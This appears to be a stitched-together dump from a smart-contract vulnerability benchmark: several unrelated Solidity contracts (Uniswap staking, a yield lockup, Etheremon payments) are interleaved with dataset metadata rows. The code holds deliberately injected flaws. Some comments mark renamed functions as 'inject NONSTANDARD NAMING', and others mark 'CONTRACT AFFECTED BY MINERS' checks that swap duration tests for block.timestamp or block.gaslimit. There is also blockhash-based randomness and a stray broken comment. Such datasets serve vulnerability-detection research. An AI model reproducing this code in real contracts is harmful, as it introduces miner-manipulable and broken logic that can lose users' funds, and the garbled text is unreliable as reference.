event APPROVAL806(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
interface Uniswap{
function SWAPEXACTTOKENSFORETH978(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); //inject NONSTANDARD NAMING
function SWAPEXACTETHFORTOKENS263(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); //inject NONSTANDARD NAMING
function ADDLIQUIDITYETH819(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); //inject NONSTANDARD NAMING
function GETPAIR333(address tokenA, address tokenB) external view returns (address pair); //inject NONSTANDARD NAMING
function WETH77() external pure returns (address); //inject NONSTANDARD NAMING
}
interface Pool{
function PRIMARY937() external view returns (address); //inject NONSTANDARD NAMING
}
contract Poolable{
address payable internal constant _pooladdress58 = 0x1E2F5Ed20111f01583acDab2d6a7a90A200533F6; //inject NONSTANDARD NAMING
function PRIMARY937() private view returns (address) { //inject NONSTANDARD NAMING
return Pool(_pooladdress58).PRIMARY937();
}
modifier ONLYPRIMARY985() { //inject NONSTANDARD NAMING
require(msg.sender == PRIMARY937(), "Caller is not primary");
_;
}
}
contract Staker is Poolable{
using SafeMath for uint256;
uint constant internal decimal633 = 10**18; //inject NONSTANDARD NAMING
uint constant public inf834 = 33136721748; //inject NONSTANDARD NAMING
uint private _rewardValue = 10**21;
mapping (address => uint256) public timePooled;
mapping (address => uint256) private internalTime;
mapping (address => uint256) private LPTokenBalance;
mapping (address => uint256) private rewards;
mapping (address => uint256) private referralEarned;
address public orbAddress;
address constant public unirouter39 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //inject NONSTANDARD NAMING
address constant public factory303 = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; //inject NONSTANDARD NAMING
address public WETHAddress = Uniswap(unirouter39).WETH77();
bool private _unchangeable = false;
bool private _tokenAddressGiven = false;
bool public priceCapped = true;
uint public creationTime = now;
receive() external payable {
if(msg.sender != unirouter39){
STAKE884();
}
}
function SENDVALUE395(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
//If true, no changes can be made
function UNCHANGEABLE822() public view returns (bool){ //inject NONSTANDARD NAMING
return _unchangeable;
}
function REWARDVALUE484() public view returns (uint){ //inject NONSTANDARD NAMING
return _rewardValue;
}
//THE ONLY ADMIN FUNCTIONS vvvv
//After this is called, no changes can be made
function MAKEUNCHANGEABLE98() public ONLYPRIMARY985{ //inject NONSTANDARD NAMING
_unchangeable = true;
}
//Can only be called once to set token address
function SETTOKENADDRESS769(address input) public ONLYPRIMARY985{ //inject NONSTANDARD NAMING
require(!_tokenAddressGiven, "Function was already called");
_tokenAddressGiven = true;
orbAddress = input;
}
//Set reward value that has high APY, can't be called if makeUnchangeable() was called
function UPDATEREWARDVALUE773(uint input) public ONLYPRIMARY985 { //inject NONSTANDARD NAMING
require(!UNCHANGEABLE822(), "makeUnchangeable() function was already called");
_rewardValue = input;
}
//Cap token price at 1 eth, can't be called if makeUnchangeable() was called
function CAPPRICE267(bool input) public ONLYPRIMARY985 { //inject NONSTANDARD NAMING
require(!UNCHANGEABLE822(), "makeUnchangeable() function was already called");
priceCapped = input;
}
//THE ONLY ADMIN FUNCTIONS ^^^^
function SQRT504(uint y) public pure returns (uint z) { //inject NONSTANDARD NAMING
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
function STAKE884() public payable{ //inject NONSTANDARD NAMING
address staker = msg.sender;
require(creationTime + 1 hours <= now, "It has not been 1 hours since contract creation yet");
address poolAddress = Uniswap(factory303).GETPAIR333(orbAddress, WETHAddress);
if(PRICE264() >= (1.05 * 10**18) && priceCapped){
uint t = IERC20(orbAddress).BALANCEOF918(poolAddress); //token in uniswap
uint a = IERC20(WETHAddress).BALANCEOF918(poolAddress); //Eth in uniswap
uint x = (SQRT504(9*t*t + 3988000*a*t) - 1997*t)/1994;
IERC20(orbAddress).MINT855(address(this), x);
address[] memory path = new address[](2);
path[0] = orbAddress;
path[1] = WETHAddress;
IERC20(orbAddress).APPROVE341(unirouter39, x);
Uniswap(unirouter39).SWAPEXACTTOKENSFORETH978(x, 1, path, _pooladdress58, inf834);
}
SENDVALUE395(_pooladdress58, address(this).balance/2);
uint ethAmount = IERC20(WETHAddress).BALANCEOF918(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(orbAddress).BALANCEOF918(poolAddress); //token in uniswap
uint toMint = (address(this).balance.MUL251(tokenAmount)).DIV611(ethAmount);
IERC20(orbAddress).MINT855(address(this), toMint);
uint poolTokenAmountBefore = IERC20(poolAddress).BALANCEOF918(address(this));
uint amountTokenDesired = IERC20(orbAddress).BALANCEOF918(address(this));
IERC20(orbAddress).APPROVE341(unirouter39, amountTokenDesired); //allow pool to get tokens
Uniswap(unirouter39).ADDLIQUIDITYETH819{ value: address(this).balance }(orbAddress, amountTokenDesired, 1, 1, address(this), inf834);
uint poolTokenAmountAfter = IERC20(poolAddress).BALANCEOF918(address(this));
uint poolTokenGot = poolTokenAmountAfter.SUB56(poolTokenAmountBefore);
rewards[staker] = rewards[staker].ADD795(VIEWRECENTREWARDTOKENAMOUNT294(staker));
timePooled[staker] = now;
internalTime[staker] = now;
LPTokenBalance[staker] = LPTokenBalance[staker].ADD795(poolTokenGot);
}
function WITHDRAWLPTOKENS630(uint amount) public { //inject NONSTANDARD NAMING
require(timePooled[msg.sender] + 8 hours <= now, "It has not been 8 hours since you staked yet");
rewards[msg.sender] = rewards[msg.sender].ADD795(VIEWRECENTREWARDTOKENAMOUNT294(msg.sender));
LPTokenBalance[msg.sender] = LPTokenBalance[msg.sender].SUB56(amount);
address poolAddress = Uniswap(factory303).GETPAIR333(orbAddress, WETHAddress);
IERC20(poolAddress).TRANSFER435(msg.sender, amount);
internalTime[msg.sender] = now;
}
function WITHDRAWREWARDTOKENS569(uint amount) public { //inject NONSTANDARD NAMING
require(timePooled[msg.sender] + 8 hours <= now, "It has not been 8 hours since you staked yet");
rewards[msg.sender] = rewards[msg.sender].ADD795(VIEWRECENTREWARDTOKENAMOUNT294(msg.sender));
internalTime[msg.sender] = now;
uint removeAmount = ETHTIMECALC471(amount);
rewards[msg.sender] = rewards[msg.sender].SUB56(removeAmount);
IERC20(orbAddress).MINT855(msg.sender, amount);
}
function VIEWRECENTREWARDTOKENAMOUNT294(address who) internal view returns (uint){ //inject NONSTANDARD NAMING
return (VIEWLPTOKENAMOUNT945(who).MUL251(now.SUB56(internalTime[who])));
}
function VIEWREWARDTOKENAMOUNT832(address who) public view returns (uint){ //inject NONSTANDARD NAMING
return EARNCALC965(rewards[who].ADD795(VIEWRECENTREWARDTOKENAMOUNT294(who)));
}
function VIEWLPTOKENAMOUNT945(address who) public view returns (uint){ //inject NONSTANDARD NAMING
return LPTokenBalance[who];
}
function VIEWPOOLEDETHAMOUNT610(address who) public view returns (uint){ //inject NONSTANDARD NAMING
address poolAddress = Uniswap(factory303).GETPAIR333(orbAddress, WETHAddress);
uint ethAmount = IERC20(WETHAddress).BALANCEOF918(poolAddress); //Eth in uniswap
return (ethAmount.MUL251(VIEWLPTOKENAMOUNT945(who))).DIV611(IERC20(poolAddress).TOTALSUPPLY425());
}
function VIEWPOOLEDTOKENAMOUNT183(address who) public view returns (uint){ //inject NONSTANDARD NAMING
address poolAddress = Uniswap(factory303).GETPAIR333(orbAddress, WETHAddress);
uint tokenAmount = IERC20(orbAddress).BALANCEOF918(poolAddress); //token in uniswap
return (tokenAmount.MUL251(VIEWLPTOKENAMOUNT945(who))).DIV611(IERC20(poolAddress).TOTALSUPPLY425());
}
function PRICE264() public view returns (uint){ //inject NONSTANDARD NAMING
address poolAddress = Uniswap(factory303).GETPAIR333(orbAddress, WETHAddress);
uint ethAmount = IERC20(WETHAddress).BALANCEOF918(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(orbAddress).BALANCEOF918(poolAddress); //token in uniswap
return (decimal633.MUL251(ethAmount)).DIV611(tokenAmount);
}
function ETHEARNCALC420(uint eth, uint time) public view returns(uint){ //inject NONSTANDARD NAMING
address poolAddress = Uniswap(factory303).GETPAIR333(orbAddress, WETHAddress);
uint totalEth = IERC20(WETHAddress).BALANCEOF918(poolAddress); //Eth in uniswap
uint totalLP = IERC20(poolAddress).TOTALSUPPLY425();
uint LP = ((eth/2)*totalLP)/totalEth;
return EARNCALC965(LP * time);
}
function EARNCALC965(uint LPTime) public view returns(uint){ //inject NONSTANDARD NAMING
return (REWARDVALUE484().MUL251(LPTime)) / (31557600 * decimal633);
}
function ETHTIMECALC471(uint orb) internal view returns(uint){ //inject NONSTANDARD NAMING
return (orb.MUL251(31557600 * decimal633)).DIV611(REWARDVALUE484());
}
}
| 277,458 | 10,905 |
338faf850c7d28e6e2cda6a9982cb54cf207eca221b7436a6b9f9a17c2355e7d
| 24,168 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x0a4e9f69f5b2e1e661da9ed98956f928200ea4ba_affectedByMiners.sol
| 3,642 | 13,569 |
// Octo.fi Interest Program
// 1 2020 Decentralized Tentacles
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract YieldRoles {
using Roles for Roles.Role;
constructor() internal {
_addOwner(msg.sender);
}
event OwnerAdded(address indexed account);
event OwnerRemoved(address indexed account);
Roles.Role private _owners;
modifier onlyOwner() {
require(isOwner(msg.sender), "Sender is not owner");
_;
}
function isOwner(address account) public view returns (bool) {
return _owners.has(account);
}
function addOwner(address account) public onlyOwner {
_addOwner(account);
}
function renounceOwner() public {
_removeOwner(msg.sender);
}
function _addOwner(address account) internal {
_owners.add(account);
emit OwnerAdded(account);
}
function _removeOwner(address account) internal {
_owners.remove(account);
emit OwnerRemoved(account);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (block.number > 0) { //injected CONTRACT AFFECTED BY MINERS
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (block.timestamp > 0) { // Return data is optional //injected CONTRACT AFFECTED BY MINERS
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract YieldContract is YieldRoles {
using SafeERC20 for IERC20;
IERC20 token;
// Timeframe in which it it possible to deposit tokens
uint256 public endDepositTime;
// Max tokens to be deposited
uint256 internal maxTokens;
// Originating wallet for yield payments
address internal yieldWallet;
// Yield rates in 1e18 granularity
uint256 public threeMonthPercentage;
uint256 public sixMonthPercentage;
uint256 public twelveMonthPercentage;
// Main struct for lockup
struct LockBoxStruct {
address beneficiary;
uint balance;
uint releaseTime;
}
LockBoxStruct[] public lockBoxStructs;
event LogLockupDeposit(address sender, address beneficiary, uint amount, uint releaseTime);
event LogLockupWithdrawal(address receiver, uint amount);
constructor(address tokenContract, uint256 _endDepositTime, address _yieldWallet, uint256 _maxTokens) public {
token = IERC20(tokenContract);
endDepositTime = _endDepositTime;
yieldWallet = _yieldWallet;
maxTokens = _maxTokens;
}
function getLockBoxBeneficiary(uint256 lockBoxNumber) public view returns(address) {
return lockBoxStructs[lockBoxNumber].beneficiary;
}
// Deposit for 3, 6 or 12 months
function deposit3m(address beneficiary, uint256 amount) external {
deposit(beneficiary, amount, 90 days);
}
function deposit6m(address beneficiary, uint256 amount) external {
deposit(beneficiary, amount, 180 days);
}
function deposit12m(address beneficiary, uint256 amount) external {
deposit(beneficiary, amount, 360 days);
}
function deposit(address beneficiary, uint256 amount, uint256 duration) internal {
require(now < endDepositTime, "Deposit time has ended.");
require(amount < maxTokens, "Token deposit too high, limit breached.");
maxTokens -= amount;
// Define and get amount of yield
uint256 yieldAmount;
if (block.timestamp == 90 days) { //injected CONTRACT AFFECTED BY MINERS
yieldAmount = (threeMonthPercentage * amount) / 1e20;
} else if (block.timestamp == 180 days) { //injected CONTRACT AFFECTED BY MINERS
yieldAmount = (sixMonthPercentage * amount) / 1e20;
} else if (block.gaslimit == 360 days) { //injected CONTRACT AFFECTED BY MINERS
yieldAmount = (twelveMonthPercentage * amount) / 1e20;
} else {
revert("Error: duration not allowed!");
}
require(token.transferFrom(yieldWallet, address(this), yieldAmount));
// Get lockable tokens from user
require(token.transferFrom(msg.sender, address(this), amount));
// Build lockbox
LockBoxStruct memory l;
l.beneficiary = beneficiary;
l.balance = amount + yieldAmount;
l.releaseTime = now + duration;
lockBoxStructs.push(l);
emit LogLockupDeposit(msg.sender, l.beneficiary, l.balance, l.releaseTime);
}
// Beneficiaries can update the receiver wallet
function updateBeneficiary(uint256 lockBoxNumber, address newBeneficiary) public {
LockBoxStruct storage l = lockBoxStructs[lockBoxNumber];
require(msg.sender == l.beneficiary);
l.beneficiary = newBeneficiary;
}
function withdraw(uint lockBoxNumber) public {
LockBoxStruct storage l = lockBoxStructs[lockBoxNumber];
require(l.releaseTime <= now);
uint amount = l.balance;
l.balance = 0;
emit LogLockupWithdrawal(l.beneficiary, amount);
require(token.transfer(l.beneficiary, amount));
}
// Helper function to release everything
function triggerWithdrawAll() public {
for (uint256 i = 0; i < lockBoxStructs.length; ++i) {
if (lockBoxStructs[i].releaseTime <= now && lockBoxStructs[i].balance > 0) {
withdraw(i);
}
}
}
// Admin update functions
function updateEndDepositTime (uint256 newEndTime) public onlyOwner {
endDepositTime = newEndTime;
}
function updateYieldWallet(address newWallet) public onlyOwner {
yieldWallet = newWallet;
}
function updateYields(uint256 threeMonths, uint256 sixMonths, uint256 twelveMonths) public onlyOwner {
threeMonthPercentage = threeMonths;
sixMonthPercentage = sixMonths;
twelveMonthPercentage = twelveMonths;
}
function updateMaxTokens(uint256 newMaxTokens) public onlyOwner {
maxTokens = newMaxTokens;
}
}
| 280,677 | 10,906 |
6bed868f21778ee8ee6bbcf43220696819b7cc80e9b62569419c595a5119eeca
| 12,402 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xfec769e54c266de2bc3fa5df7d9f0fe2a1e39461.sol
| 3,125 | 12,062 |
pragma solidity ^0.4.16;
contract SafeMath {
/* }
function safeAdd(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) pure internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract BasicAccessControl {
address public owner;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = true;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract EtheremonEnum {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_TRAINER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum ArrayType {
CLASS_TYPE,
STAT_STEP,
STAT_START,
STAT_BASE,
OBJ_SKILL
}
enum PropertyType {
ANCESTOR,
XFACTOR
}
}
contract EtheremonDataBase is EtheremonEnum, BasicAccessControl, SafeMath {
uint64 public totalMonster;
uint32 public totalClass;
function withdrawEther(address _sendTo, uint _amount) onlyOwner public returns(ResultCode);
function addElementToArrayType(ArrayType _type, uint64 _id, uint8 _value) onlyModerators public returns(uint);
function updateIndexOfArrayType(ArrayType _type, uint64 _id, uint _index, uint8 _value) onlyModerators public returns(uint);
function setMonsterClass(uint32 _classId, uint256 _price, uint256 _returnPrice, bool _catchable) onlyModerators public returns(uint32);
function addMonsterObj(uint32 _classId, address _trainer, string _name) onlyModerators public returns(uint64);
function setMonsterObj(uint64 _objId, string _name, uint32 _exp, uint32 _createIndex, uint32 _lastClaimIndex) onlyModerators public;
function increaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function decreaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function removeMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public;
function addMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public;
function clearMonsterReturnBalance(uint64 _monsterId) onlyModerators public returns(uint256 amount);
function collectAllReturnBalance(address _trainer) onlyModerators public returns(uint256 amount);
function transferMonster(address _from, address _to, uint64 _monsterId) onlyModerators public returns(ResultCode);
function addExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256);
function deductExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256);
function setExtraBalance(address _trainer, uint256 _amount) onlyModerators public;
function getSizeArrayType(ArrayType _type, uint64 _id) constant public returns(uint);
function getElementInArrayType(ArrayType _type, uint64 _id, uint _index) constant public returns(uint8);
function getMonsterClass(uint32 _classId) constant public returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable);
function getMonsterObj(uint64 _objId) constant public returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime);
function getMonsterName(uint64 _objId) constant public returns(string name);
function getExtraBalance(address _trainer) constant public returns(uint256);
function getMonsterDexSize(address _trainer) constant public returns(uint);
function getMonsterObjId(address _trainer, uint index) constant public returns(uint64);
function getExpectedBalance(address _trainer) constant public returns(uint256);
function getMonsterReturn(uint64 _objId) constant public returns(uint256 current, uint256 total);
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
contract BattleInterface {
function createCastleWithToken(address _trainer, uint32 _noBrick, string _name, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3) external;
}
contract TransformInterface {
function removeHatchingTimeWithToken(address _trainer) external;
function buyEggWithToken(address _trainer) external;
}
contract EtheremonPayment is EtheremonEnum, BasicAccessControl, SafeMath {
uint8 constant public STAT_COUNT = 6;
uint8 constant public STAT_MAX = 32;
uint8 constant public GEN0_NO = 24;
enum PayServiceType {
NONE,
FAST_HATCHING,
RANDOM_EGG
}
struct MonsterClassAcc {
uint32 classId;
uint256 price;
uint256 returnPrice;
uint32 total;
bool catchable;
}
struct MonsterObjAcc {
uint64 monsterId;
uint32 classId;
address trainer;
string name;
uint32 exp;
uint32 createIndex;
uint32 lastClaimIndex;
uint createTime;
}
address public dataContract;
address public battleContract;
address public tokenContract;
address public transformContract;
address private lastHunter = address(0x0);
uint public brickPrice = 3 * 10 ** 8;
uint public fastHatchingPrice = 35 * 10 ** 8;
uint public buyEggPrice = 50 * 10 ** 8;
uint public tokenPrice = 0.004 ether / 10 ** 8;
uint public maxDexSize = 200;
uint public latestValue = 0;
event EventCatchMonster(address indexed trainer, uint64 objId);
modifier requireDataContract {
require(dataContract != address(0));
_;
}
modifier requireBattleContract {
require(battleContract != address(0));
_;
}
modifier requireTokenContract {
require(tokenContract != address(0));
_;
}
modifier requireTransformContract {
require(transformContract != address(0));
_;
}
function EtheremonPayment(address _dataContract, address _battleContract, address _tokenContract, address _transformContract) public {
dataContract = _dataContract;
battleContract = _battleContract;
tokenContract = _tokenContract;
transformContract = _transformContract;
}
function getRandom(uint8 maxRan, uint8 index, address priAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(priAddress);
for (uint8 i = 0; i < index && i < 6; i ++) {
genNum /= 256;
}
return uint8(genNum % maxRan);
}
function withdrawToken(address _sendTo, uint _amount) onlyModerators requireTokenContract external {
ERC20Interface token = ERC20Interface(tokenContract);
if (_amount > token.balanceOf(address(this))) {
revert();
}
token.transfer(_sendTo, _amount);
}
function setContract(address _dataContract, address _battleContract, address _tokenContract, address _transformContract) onlyModerators external {
dataContract = _dataContract;
battleContract = _battleContract;
tokenContract = _tokenContract;
transformContract = _transformContract;
}
function setConfig(uint _brickPrice, uint _tokenPrice, uint _maxDexSize, uint _fastHatchingPrice, uint _buyEggPrice) onlyModerators external {
brickPrice = _brickPrice;
tokenPrice = _tokenPrice;
maxDexSize = _maxDexSize;
fastHatchingPrice = _fastHatchingPrice;
buyEggPrice = _buyEggPrice;
}
function giveBattleBonus(address _trainer, uint _amount) isActive requireBattleContract requireTokenContract public {
if (msg.sender != battleContract)
revert();
ERC20Interface token = ERC20Interface(tokenContract);
token.transfer(_trainer, _amount);
}
function createCastle(address _trainer, uint _tokens, string _name, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3) isActive requireBattleContract requireTokenContract public returns(uint){
if (msg.sender != tokenContract)
revert();
BattleInterface battle = BattleInterface(battleContract);
battle.createCastleWithToken(_trainer, uint32(_tokens/brickPrice), _name, _a1, _a2, _a3, _s1, _s2, _s3);
return _tokens;
}
function catchMonster(address _trainer, uint _tokens, uint32 _classId, string _name) isActive requireDataContract requireTokenContract public returns(uint){
if (msg.sender != tokenContract)
revert();
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterClassAcc memory class;
(class.classId, class.price, class.returnPrice, class.total, class.catchable) = data.getMonsterClass(_classId);
if (class.classId == 0 || class.catchable == false) {
revert();
}
if (data.getMonsterDexSize(_trainer) > maxDexSize)
revert();
uint requiredToken = class.price/tokenPrice;
if (_tokens < requiredToken)
revert();
uint64 objId = data.addMonsterObj(_classId, _trainer, _name);
for (uint i=0; i < STAT_COUNT; i+= 1) {
uint8 value = getRandom(STAT_MAX, uint8(i), lastHunter) + data.getElementInArrayType(ArrayType.STAT_START, uint64(_classId), i);
data.addElementToArrayType(ArrayType.STAT_BASE, objId, value);
}
lastHunter = _trainer;
EventCatchMonster(_trainer, objId);
return requiredToken;
}
function payService(address _trainer, uint _tokens, uint32 _type, string _text, uint64 _param1, uint64 _param2, uint64 _param3, uint64 _param4, uint64 _param5, uint64 _param6) isActive requireTransformContract public returns(uint result) {
if (msg.sender != tokenContract)
revert();
TransformInterface transform = TransformInterface(transformContract);
if (_type == uint32(PayServiceType.FAST_HATCHING)) {
if (_tokens < fastHatchingPrice)
revert();
transform.removeHatchingTimeWithToken(_trainer);
return fastHatchingPrice;
} else if (_type == uint32(PayServiceType.RANDOM_EGG)) {
if (_tokens < buyEggPrice)
revert();
transform.buyEggWithToken(_trainer);
return buyEggPrice;
} else {
revert();
}
}
}
| 164,589 | 10,907 |
a6ce2caa86c935881987d81c478acb6db8d01922f1c7f6ecf30eb8f63df76d68
| 15,179 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/19/19a7dfba987d8bccce8ed2f56e893123f050c9c3_CrossChainCapital.sol
| 4,084 | 14,563 |
// SPDX-License-Identifier: Unlicensed
pragma solidity >=0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
